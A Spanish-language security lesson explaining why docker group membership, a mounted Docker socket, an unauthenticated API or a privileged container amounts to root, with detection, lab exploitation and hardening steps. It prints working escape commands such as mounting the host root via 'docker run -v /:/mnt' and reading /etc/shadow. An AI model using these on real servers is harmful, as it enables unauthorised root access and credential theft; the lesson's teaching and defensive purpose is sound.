Aprende › Escalada de privilegios en Linux

Grupo docker y socket de Docker expuesto: por qué equivalen a root y cómo protegerlos

· 10 min de lectura

Aprende por qué pertenecer al grupo docker o tener acceso al socket de Docker equivale a ser root en el servidor, cómo se escapa de un contenedor privilegiado o con el socket montado, cómo se practica en un laboratorio y cómo usar Docker sin regalar el control del sistema.

Docker se ha convertido en la forma estándar de desplegar aplicaciones, y también en una de las fuentes más comunes de escaladas de privilegios. El motivo es poco conocido por muchos administradores: el servicio de Docker se ejecuta como root, y cualquiera que pueda darle órdenes puede pedirle que haga cosas como root.

Por comodidad, es muy habitual añadir usuarios al grupo docker para no tener que escribir sudo delante de cada comando. Lo que no siempre se sabe es que, con eso, ese usuario puede convertirse en root del servidor con un solo comando. Lo mismo ocurre cuando el socket de Docker se monta dentro de un contenedor o se expone por la red sin protección.

En esta lección vas a ver cómo funciona Docker por dentro, por qué el grupo docker y el socket equivalen a root, cómo se escapa de contenedores mal configurados, cómo se practica en un laboratorio autorizado y cómo usar Docker de forma segura.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Escalar privilegios o escapar de contenedores en sistemas ajenos sin permiso es un delito.

Cómo funciona Docker por dentro#

Docker tiene dos partes:

  • El cliente docker: el comando que escribes.
  • El demonio dockerd: el servicio que de verdad crea y gestiona los contenedores, y que se ejecuta como root.

El cliente le habla al demonio a través de un socket, normalmente el archivo /var/run/docker.sock. Quien pueda escribir en ese socket puede pedirle al demonio cualquier cosa: crear contenedores, montar carpetas del sistema anfitrión dentro de ellos, darles privilegios especiales…

El cliente docker habla con el demonio, que corre como root, a través del socket; quien controla el socket controla el servidor
El cliente docker habla con el demonio, que corre como root, a través del socket; quien controla el socket controla el servidor

Los permisos del socket suelen ser estos:

ls -l /var/run/docker.sock
srw-rw---- 1 root docker 0 /var/run/docker.sock

Solo root y los miembros del grupo docker pueden usarlo. Por eso, estar en ese grupo es, en la práctica, tener el poder del demonio: el de root.

Por qué el grupo docker equivale a root#

Un contenedor puede montar cualquier carpeta del anfitrión al arrancar. Si un usuario del grupo docker monta la raíz / del servidor dentro de un contenedor en el que él es root, puede leer y modificar todo el sistema de archivos del anfitrión como root: /etc/shadow, /etc/sudoers, las claves SSH de root…

La propia documentación de Docker lo advierte: el grupo docker concede privilegios equivalentes a los del usuario root.

SituaciónPor qué es peligrosa
Usuario en el grupo dockerPuede lanzar contenedores que montan / del anfitrión
Socket montado dentro de un contenedorQuien entre en ese contenedor controla el demonio del anfitrión
API de Docker expuesta por TCP sin TLS (puerto 2375)Cualquiera en la red puede controlar el demonio
Contenedor --privilegedTiene casi todos los poderes del anfitrión, incluidos sus dispositivos
Contenedor con capabilities como SYS_ADMINPuede montar sistemas de archivos y escapar en muchos casos
Carpetas sensibles montadas (/, /etc, /root)El contenedor modifica el anfitrión directamente

Cómo se detecta#

Desde una cuenta del sistema#

En un laboratorio, tras entrar como un usuario normal, comprueba sus grupos y si puede hablar con Docker:

id
groups
ls -l /var/run/docker.sock
docker ps

Si id muestra el grupo docker, o docker ps funciona sin sudo, ya tienes la vía de escalada.

Desde dentro de un contenedor#

Muchas veces el primer acceso que consigues en un laboratorio es dentro de un contenedor. Para saber si estás en uno y si está mal configurado:

# ¿Estoy en un contenedor?
ls -la /.dockerenv
cat /proc/1/cgroup

# ¿Está el socket del anfitrión montado?
ls -l /var/run/docker.sock

# ¿Qué capabilities tengo? (muchas = probablemente --privileged)
grep CapEff /proc/self/status

# ¿Veo los discos del anfitrión?
ls /dev | head
fdisk -l 2>/dev/null

Un valor de CapEff como 000001ffffffffff (todas las capabilities) y la presencia de discos reales en /dev indican un contenedor privilegiado.

Por la red#

La API de Docker sin cifrar escucha por convención en el puerto 2375 (y con TLS en el 2376). Un escaneo que muestre el 2375 abierto es una señal grave:

nmap -p 2375,2376 -sV IP_DEL_LAB
curl http://IP_DEL_LAB:2375/version

Explotación paso a paso en un laboratorio#

Caso 1: usuario en el grupo docker#

En un laboratorio autorizado, tu usuario pertenece al grupo docker.

Paso 1: lanzar un contenedor que monte la raíz del anfitrión#

docker run --rm -it -v /:/mnt alpine chroot /mnt sh
  • -v /:/mnt monta la raíz / del servidor en /mnt dentro del contenedor.
  • chroot /mnt sh cambia la raíz del proceso a esa carpeta y abre una shell.

Paso 2: comprobar el acceso#

id
cat /etc/shadow | head -3

Eres root y estás viendo el sistema de archivos real del servidor, no el del contenedor. Desde aquí podrías añadir una clave SSH a /root/.ssh/authorized_keys o crear un usuario con privilegios. En el laboratorio BREACH practicarás exactamente esta escalada.

Si la máquina no tiene acceso a internet para descargar alpine, usa cualquier imagen que ya exista localmente (docker images las lista).

Caso 2: socket montado dentro de un contenedor#

Si estás dentro de un contenedor y encuentras /var/run/docker.sock, puedes usar ese socket para pedirle al demonio del anfitrión que cree un contenedor nuevo con la raíz montada. Si el contenedor tiene el cliente docker, el comando es el mismo del caso anterior. Si no lo tiene, se puede hablar con la API directamente:

# Listar contenedores del anfitrión a través del socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

Caso 3: contenedor privilegiado#

Un contenedor lanzado con --privileged ve los discos del anfitrión. En un laboratorio, se puede montar el disco del servidor y trabajar sobre él:

fdisk -l
mkdir -p /mnt/anfitrion
mount /dev/sda1 /mnt/anfitrion
ls /mnt/anfitrion/root

El nombre del disco (/dev/sda1, /dev/vda1, /dev/nvme0n1p1) depende del sistema; fdisk -l lo indica.

Qué puede lograr un atacante#

ImpactoEjemplo real
Root en el anfitriónMontar / y modificar /etc/shadow o las claves SSH
Control de todos los contenedoresLeer secretos, variables de entorno y datos de otras aplicaciones
PersistenciaCrear un contenedor oculto que se reinicia con el sistema
Uso de recursosDesplegar minería de criptomonedas en servidores con la API expuesta
Movimiento lateralUsar las credenciales de despliegue para llegar a otros servidores

Cómo se corrige#

Usar Docker sin regalar root: sin grupo docker, rootless, sin socket montado, API con TLS y contenedores sin privilegios
Usar Docker sin regalar root: sin grupo docker, rootless, sin socket montado, API con TLS y contenedores sin privilegios

Tratar el grupo docker como root#

No añadas al grupo docker a nadie que no deba ser administrador del servidor. Si alguien necesita gestionar contenedores, considera que le estás dando root y aplícale los mismos controles.

Docker en modo rootless#

Docker puede ejecutarse sin root (rootless mode): el demonio corre con un usuario normal, de forma que escapar del contenedor no da root en el anfitrión. Alternativas como Podman funcionan sin demonio y sin root por diseño.

Activar user namespaces#

Con user namespaces, el root de dentro del contenedor se corresponde con un usuario sin privilegios en el anfitrión, lo que reduce mucho el impacto de un escape. Se configura en el demonio con la opción userns-remap.

No montar el socket en contenedores#

Montar /var/run/docker.sock dentro de un contenedor equivale a darle root del anfitrión. Si una herramienta lo necesita (por ejemplo, para monitorizar), limita su acceso con un proxy del socket que solo permita las operaciones de lectura imprescindibles.

Proteger la API de red#

Nunca expongas la API en el puerto 2375 sin cifrar. Si necesitas acceso remoto, usa TLS con certificados de cliente en el 2376, o mejor aún, accede por SSH (docker -H ssh://usuario@servidor).

Contenedores sin privilegios#

  • Evita --privileged y las carpetas sensibles montadas.
  • Elimina capabilities innecesarias: --cap-drop=ALL y añade solo las necesarias.
  • Usa --security-opt no-new-privileges y un usuario no root dentro de la imagen (USER app en el Dockerfile).
  • Sistemas de archivos de solo lectura cuando sea posible: --read-only.

Cómo auditar un servidor con Docker#

Si administras un servidor con Docker, revisa periódicamente estos puntos con tus propios ojos, igual que lo haría alguien que buscara una vía de escalada:

# ¿Quién está en el grupo docker?
getent group docker

# ¿El demonio usa rootless o user namespaces?
docker info | grep -iE 'rootless|userns'

# ¿Hay contenedores privilegiados?
docker ps -q | xargs -r docker inspect --format '{{.Name}} privileged={{.HostConfig.Privileged}}'

# ¿Algún contenedor tiene montado el socket o la raíz del anfitrión?
docker ps -q | xargs -r docker inspect --format '{{.Name}} {{range .Mounts}}{{.Source}} {{end}}' \
  | grep -E 'docker.sock| / '

Existe además una herramienta oficial de la comunidad, Docker Bench for Security, que comprueba automáticamente decenas de buenas prácticas basadas en la guía CIS de Docker y genera un informe con lo que conviene corregir. Ejecutarla tras cada cambio importante de configuración es una forma sencilla de no dejar puertas abiertas. Y recuerda revisar también los archivos docker-compose.yml: es ahí donde suelen esconderse un privileged: true o un socket montado.

Errores comunes al defenderse#

  • Añadir desarrolladores al grupo docker por comodidad. Es darles root del servidor.
  • Montar el socket «solo para Portainer» o para herramientas de CI. Quien comprometa esa herramienta controla el anfitrión.
  • Abrir el 2375 «para pruebas». Los bots buscan ese puerto constantemente para desplegar minería.
  • Creer que el contenedor aísla siempre. Un contenedor privilegiado o con el socket montado no aísla casi nada.
  • Ejecutar las aplicaciones como root dentro del contenedor. Facilita cualquier escape.

Preguntas frecuentes#

¿Por qué estar en el grupo docker equivale a root?#

Porque el demonio de Docker corre como root y los miembros del grupo pueden pedirle que lance contenedores que montan cualquier carpeta del anfitrión, incluida la raíz, con permisos de root.

¿Qué es /var/run/docker.sock?#

El socket por el que el cliente docker se comunica con el demonio. Quien pueda escribir en él controla Docker, y por tanto el servidor.

¿Qué es un contenedor privilegiado?#

Uno lanzado con --privileged, que recibe casi todas las capabilities y acceso a los dispositivos del anfitrión. Escapar de él es sencillo, por eso solo debe usarse en casos muy justificados.

¿El modo rootless soluciona el problema?#

Reduce mucho el impacto: si alguien escapa del contenedor o abusa del demonio, obtiene los permisos de un usuario normal, no los de root. Tiene algunas limitaciones de red y almacenamiento que conviene revisar.

¿Dónde practico esto?#

En los laboratorios BREACH y CLOUDSHIP de whoami-labs, enlazados al final de esta lección, que cubren el abuso del grupo docker, el socket expuesto y el escape de contenedores.

Resumen#

  • El demonio de Docker corre como root; quien controla su socket controla el servidor.
  • El grupo docker, el socket montado en un contenedor, la API sin TLS y los contenedores privilegiados equivalen a dar root.
  • Se detecta con id, los permisos de /var/run/docker.sock, las capabilities del contenedor y escaneando los puertos 2375/2376.
  • Se corrige tratando el grupo docker como root, usando rootless o user namespaces, sin montar el socket, con TLS en la API y contenedores sin privilegios.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría